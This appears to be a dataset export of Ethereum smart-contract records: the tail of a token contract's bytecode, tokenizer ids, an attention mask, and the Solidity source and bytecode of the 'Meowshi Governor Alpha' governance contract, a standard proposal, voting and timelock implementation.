ffffffffffffffffffffffffff16815260200190815260200160002081905550612a198382613164565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612a9986611ad8565b94509450945094509450612af586600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b8a85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c1f82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cb484600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d018382613164565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600060065490506000662386f26fc10000905060008090505b600580549050811015612fd157826001600060058481548110612dab57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612e925750816002600060058481548110612e2a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612eae57600654662386f26fc1000094509450505050613014565b612f376001600060058481548110612ec257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b3090919063ffffffff16565b9250612fc26002600060058481548110612f4d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b3090919063ffffffff16565b91508080600101915050612d8c565b50612fee662386f26fc1000060065461233d90919063ffffffff16565b82101561300b57600654662386f26fc10000935093505050613014565b81819350935050505b9091565b600080831182906130c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561308957808201518184015260208101905061306e565b50505050905090810190601f1680156130b65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130d057fe5b049050809150509392505050565b6000808314156130f1576000905061315e565b600082840290508284828161310257fe5b0414613159576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132346021913960400191505060405180910390fd5b809150505b92915050565b61317982600654611b3090919063ffffffff16565b60068190555061319481600754611b7a90919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d0aa8b6f6706c2d6a66c13a91d8f46d6c5aa79d380821b19fd511c729f731f1364736f6c63430006020033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 19961, 2575, 2475, 2278, 22407, 2278, 2581, 19736, 2581, 2050, 2575, 2620, 17788, 22025, 2692, 17788, 2063, 14526, 10354, 24434, 2549, 2278, 2692, 2546, 2575, 24434, 2546, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1016, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,749
0x97473a8697c45a2dd0ef04545115c6389ace31c8
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @notice The name of this contract string public constant name = "Meowshi Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 10_000_000e18; } /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 1_000_000e18; } /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Meowshi Timelock TimelockInterface public timelock; /// @notice The address of the Meowshi governance token MeowInterface public meow; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address meow_) public { timelock = TimelockInterface(timelock_); meow = MeowInterface(meow_); } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(meow.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(meow.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = meow.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface MeowInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x6080604052600436106101755760003560e01c80634634c61f116100cb578063da35c6641161007f578063deaaa7cc11610059578063deaaa7cc146103d0578063e23a9a52146103e5578063fe0d94c11461041257610175565b8063da35c6641461037b578063da95691a14610390578063ddf0b009146103b057610175565b8063b58131b0116100b0578063b58131b01461032f578063c5a5659914610344578063d33219b41461036657610175565b80634634c61f146102fa5780637bdbe4d01461031a57610175565b806320606b701161012d5780633932abb1116101075780633932abb1146102985780633e4f49e6146102ad57806340e58ee5146102da57610175565b806320606b701461023e57806324bc1a6414610253578063328dd9821461026857610175565b806306fdde031161015e57806306fdde03146101da57806315373e3d146101fc57806317977c611461021e57610175565b8063013cf08b1461017a57806302a251a3146101b8575b600080fd5b34801561018657600080fd5b5061019a6101953660046125ce565b610425565b6040516101af99989796959493929190613627565b60405180910390f35b3480156101c457600080fd5b506101cd61048b565b6040516101af9190613394565b3480156101e657600080fd5b506101ef610492565b6040516101af9190613450565b34801561020857600080fd5b5061021c610217366004612626565b6104cb565b005b34801561022a57600080fd5b506101cd61023936600461244b565b6104da565b34801561024a57600080fd5b506101cd6104ec565b34801561025f57600080fd5b506101cd610503565b34801561027457600080fd5b506102886102833660046125ce565b610512565b6040516101af9493929190613347565b3480156102a457600080fd5b506101cd6107ea565b3480156102b957600080fd5b506102cd6102c83660046125ce565b6107ef565b6040516101af9190613442565b3480156102e657600080fd5b5061021c6102f53660046125ce565b6109ba565b34801561030657600080fd5b5061021c610315366004612656565b610c8c565b34801561032657600080fd5b506101cd610e6e565b34801561033b57600080fd5b506101cd610e73565b34801561035057600080fd5b50610359610e81565b6040516101af9190613434565b34801561037257600080fd5b50610359610e9d565b34801561038757600080fd5b506101cd610eb9565b34801561039c57600080fd5b506101cd6103ab366004612471565b610ebf565b3480156103bc57600080fd5b5061021c6103cb3660046125ce565b6113d0565b3480156103dc57600080fd5b506101cd6116c7565b3480156103f157600080fd5b506104056104003660046125ec565b6116d3565b6040516101af9190613571565b61021c6104203660046125ce565b611754565b6003602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b90970154959673ffffffffffffffffffffffffffffffffffffffff90951695939492939192909160ff8082169161010090041689565b6143805b90565b6040518060400160405280601681526020017f4d656f7773686920476f7665726e6f7220416c7068610000000000000000000081525081565b6104d6338383611988565b5050565b60046020526000908152604090205481565b6040516104f890613238565b604051809103902081565b6a084595161401484a00000090565b606080606080600060036000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156105a157602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610576575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156105f357602002820191906000526020600020905b8154815260200190600101908083116105df575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156106e45760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156106d05780601f106106a5576101008083540402835291602001916106d0565b820191906000526020600020905b8154815290600101906020018083116106b357829003601f168201915b50505050508152602001906001019061061b565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107d45760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156107c05780601f10610795576101008083540402835291602001916107c0565b820191906000526020600020905b8154815290600101906020018083116107a357829003601f168201915b50505050508152602001906001019061070b565b5050505090509450945094509450509193509193565b600190565b600081600254101580156108035750600082115b610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613481565b60405180910390fd5b6000828152600360205260409020600b81015460ff16156108675760029150506109b5565b8060070154431161087c5760009150506109b5565b806008015443116108915760019150506109b5565b80600a015481600901541115806108b257506108ab610503565b8160090154105b156108c15760039150506109b5565b60028101546108d45760049150506109b5565b600b810154610100900460ff16156108f05760079150506109b5565b6002810154600054604080517fc1a287e2000000000000000000000000000000000000000000000000000000008152905161099f939273ffffffffffffffffffffffffffffffffffffffff169163c1a287e2916004808301926020929190829003018186803b15801561096257600080fd5b505afa158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061099a919081019061257b565b611c13565b42106109af5760069150506109b5565b60059150505b919050565b60006109c5826107ef565b905060078160078111156109d557fe5b1415610a0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613541565b6000828152600360205260409020610a23610e73565b600180548382015473ffffffffffffffffffffffffffffffffffffffff9182169263782d6fe19290911690610a59904390611c59565b6040518363ffffffff1660e01b8152600401610a76929190613269565b60206040518083038186803b158015610a8e57600080fd5b505afa158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ac691908101906126be565b6bffffffffffffffffffffffff1610610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134e1565b600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560005b6003820154811015610c4f5760005460038301805473ffffffffffffffffffffffffffffffffffffffff9092169163591fcdfe919084908110610b7a57fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff9092169185908110610baf57fe5b9060005260206000200154856005018581548110610bc957fe5b90600052602060002001866006018681548110610be257fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c11959493929190613306565b600060405180830381600087803b158015610c2b57600080fd5b505af1158015610c3f573d6000803e3d6000fd5b505060019092019150610b3b9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610c7f9190613394565b60405180910390a1505050565b6000604051610c9a90613238565b60408051918290038220828201909152601682527f4d656f7773686920476f7665726e6f7220416c706861000000000000000000006020909201919091527f1c6487fea60cf18eee31a82b1db1b12d6a17f3e529cf8e336613dad944f76789610d01611c9b565b30604051602001610d1594939291906133a2565b6040516020818303038152906040528051906020012090506000604051610d3b90613243565b604051908190038120610d5491899089906020016133d7565b60405160208183030381529060405280519060200120905060008282604051602001610d81929190613207565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610dbe94939291906133ff565b6020604051602081039080840390855afa158015610de0573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116610e58576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613521565b610e63818a8a611988565b505050505050505050565b600a90565b69d3c21bcecceda100000090565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000610ec9610e73565b6001805473ffffffffffffffffffffffffffffffffffffffff169063782d6fe1903390610ef7904390611c59565b6040518363ffffffff1660e01b8152600401610f1492919061324e565b60206040518083038186803b158015610f2c57600080fd5b505afa158015610f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f6491908101906126be565b6bffffffffffffffffffffffff1611610fa9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613511565b84518651148015610fbb575083518651145b8015610fc8575082518651145b610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134d1565b8551611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613501565b61103e610e6e565b86511115611078576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134b1565b336000908152600460205260409020548015611129576000611099826107ef565b905060018160078111156110a957fe5b14156110e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613531565b60008160078111156110ef57fe5b1415611127576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134a1565b505b60006111374361099a6107ea565b905060006111478261099a61048b565b600280546001019055905061115a611e4b565b604051806101a0016040528060025481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060036000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003019080519060200190611264929190611ecd565b5060808201518051611280916004840191602090910190611f57565b5060a0820151805161129c916005840191602090910190611f9e565b5060c082015180516112b8916006840191602090910190611ff7565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160046000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516113b89998979695949392919061357f565b60405180910390a15193505050505b95945050505050565b60046113db826107ef565b60078111156113e657fe5b1461141d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613461565b6000818152600360209081526040808320835482517f6a42b8f8000000000000000000000000000000000000000000000000000000008152925191949361149c93429373ffffffffffffffffffffffffffffffffffffffff90931692636a42b8f892600480840193919291829003018186803b15801561096257600080fd5b905060005b600383015481101561168d576116858360030182815481106114bf57fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff90921691849081106114f457fe5b906000526020600020015485600501848154811061150e57fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156115ba5780601f1061158f576101008083540402835291602001916115ba565b820191906000526020600020905b81548152906001019060200180831161159d57829003601f168201915b50505050508660060185815481106115ce57fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416939093049283018590048502810185019091528181529283018282801561167a5780601f1061164f5761010080835404028352916020019161167a565b820191906000526020600020905b81548152906001019060200180831161165d57829003601f168201915b505050505086611c9f565b6001016114a1565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610c7f90859084906136ad565b6040516104f890613243565b6116db612050565b50600082815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046bffffffffffffffffffffffff16918101919091525b92915050565b600561175f826107ef565b600781111561176a57fe5b146117a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613471565b6000818152600360205260408120600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055905b600382015481101561194c5760005460048301805473ffffffffffffffffffffffffffffffffffffffff90921691630825f38f91908490811061181e57fe5b906000526020600020015484600301848154811061183857fe5b60009182526020909120015460048601805473ffffffffffffffffffffffffffffffffffffffff909216918690811061186d57fe5b906000526020600020015486600501868154811061188757fe5b906000526020600020018760060187815481106118a057fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016118cf959493929190613306565b6000604051808303818588803b1580156118e857600080fd5b505af11580156118fc573d6000803e3d6000fd5b50505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526119439190810190612599565b506001016117df565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161197c9190613394565b60405180910390a15050565b6001611993836107ef565b600781111561199e57fe5b146119d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613551565b600082815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452600c8101909252909120805460ff1615611a45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613491565b60015460078301546040517f782d6fe100000000000000000000000000000000000000000000000000000000815260009273ffffffffffffffffffffffffffffffffffffffff169163782d6fe191611aa1918a91600401613269565b60206040518083038186803b158015611ab957600080fd5b505afa158015611acd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611af191908101906126be565b90508315611b1f57611b158360090154826bffffffffffffffffffffffff16611c13565b6009840155611b41565b611b3b83600a0154826bffffffffffffffffffffffff16611c13565b600a8401555b815460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00909116177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1661010085151502177fffffffffffffffffffffffffffffffffffff000000000000000000000000ffff16620100006bffffffffffffffffffffffff8316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611c03908890889088908690613277565b60405180910390a1505050505050565b600082820183811015611c52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134c1565b9392505050565b600082821115611c95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613561565b50900390565b4690565b60005460405173ffffffffffffffffffffffffffffffffffffffff9091169063f2b0653790611cda90889088908890889088906020016132ac565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611d0c9190613394565b60206040518083038186803b158015611d2457600080fd5b505afa158015611d38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611d5c919081019061255d565b15611d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610839906134f1565b6000546040517f3a66f90100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690633a66f90190611df190889088908890889088906004016132ac565b602060405180830381600087803b158015611e0b57600080fd5b505af1158015611e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611e43919081019061257b565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611f47579160200282015b82811115611f4757825182547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff909116178255602090920191600190910190611eed565b50611f53929150612070565b5090565b828054828255906000526020600020908101928215611f92579160200282015b82811115611f92578251825591602001919060010190611f77565b50611f539291506120ac565b828054828255906000526020600020908101928215611feb579160200282015b82811115611feb5782518051611fdb9184916020909101906120c6565b5091602001919060010190611fbe565b50611f53929150612133565b828054828255906000526020600020908101928215612044579160200282015b8281111561204457825180516120349184916020909101906120c6565b5091602001919060010190612017565b50611f53929150612156565b604080516060810182526000808252602082018190529181019190915290565b61048f91905b80821115611f535780547fffffffffffffffffffffffff0000000000000000000000000000000000000000168155600101612076565b61048f91905b80821115611f5357600081556001016120b2565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061210757805160ff1916838001178555611f92565b82800160010185558215611f925791820182811115611f92578251825591602001919060010190611f77565b61048f91905b80821115611f5357600061214d8282612179565b50600101612139565b61048f91905b80821115611f535760006121708282612179565b5060010161215c565b50805460018160011615610